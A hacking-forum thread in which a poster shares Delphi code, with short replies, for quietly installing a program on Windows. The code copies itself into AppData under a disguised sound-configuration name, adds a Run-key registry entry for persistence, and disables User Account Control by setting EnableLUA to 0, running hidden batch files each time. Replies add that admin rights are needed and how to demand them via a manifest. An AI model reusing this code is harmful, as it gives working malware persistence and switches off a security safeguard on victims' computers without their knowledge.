Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Delphi 

[CODE] Startup using batch & Disable UAC using batch

ok so to do this the delphi application must be ran as administrator

so here is how you can add your delphi application using command lines
components used (TMemo)
uses ( ShellApi )

Code
copyfile(PChar(application.exename), PChar(GetEnvironmentVariable('APPDATA') + '\RDSoundConfig\RDSoundConfig.exe'), false);
memo2.Lines.Add('REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v RDSoundContorl /t REG_SZ /d "%appdata%\RDSoundConfig\RDSoundConfig.exe" /f');
memo2.Lines.Add('exit');
memo2.Lines.SaveToFile(GetEnvironmentVariable('APPDATA') + '\RDSoundConfig\RandShot.bat');
memo2.Lines.Clear;
ShellExecute(Handle, 'open', PAnsiChar(GetEnvironmentVariable('APPDATA') + '\\RDSoundConfig\\RandShot.bat'), nil, nil, SW_HIDE);
memo2.Lines.Add('%windir%\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f');
memo2.Lines.Add('exit');
memo2.Lines.SaveToFile(GetEnvironmentVariable('APPDATA') + '\RDSoundConfig\RDRun.bat');
memo2.Lines.Clear;
ShellExecute(Handle, 'open', PAnsiChar(GetEnvironmentVariable('APPDATA') + '\\RDSoundConfig\\RDRun.bat'), nil, nil, SW_HIDE);
not only delphi but also a vb program also need to be run as administrator for this kind of code .
(Jul 31, 2011 12:07 AM)SamsWatson Wrote:  not only delphi but also a vb program also need to be run as administrator for this kind of code .

lol dude,this is a 1year old thread. How could you bu-mp one like this

(Jul 31, 2011 12:07 AM)SamsWatson Wrote:  not only delphi but also a vb program also need to be run as administrator for this kind of code .

Yeah but you can also create a manifest with:
Code
level="requireAdministrator"

and it will always start as admin .... Cheers ....



Possibly Related Threads...
Thread / Author Replies Views Last Post
by UKN0WNJun 6, 2014 11:09 PM 3 952 Jun 6, 2014 11:09 PM
Last Post: wjdwndud0114
by /{evin Mitnic/{Nov 22, 2011 04:24 AM 2 112 Nov 22, 2011 04:24 AM
Last Post: /{evin Mitnic/{
by djfshadyApr 27, 2010 10:48 AM 4 82 Apr 27, 2010 10:48 AM
Last Post: djfshady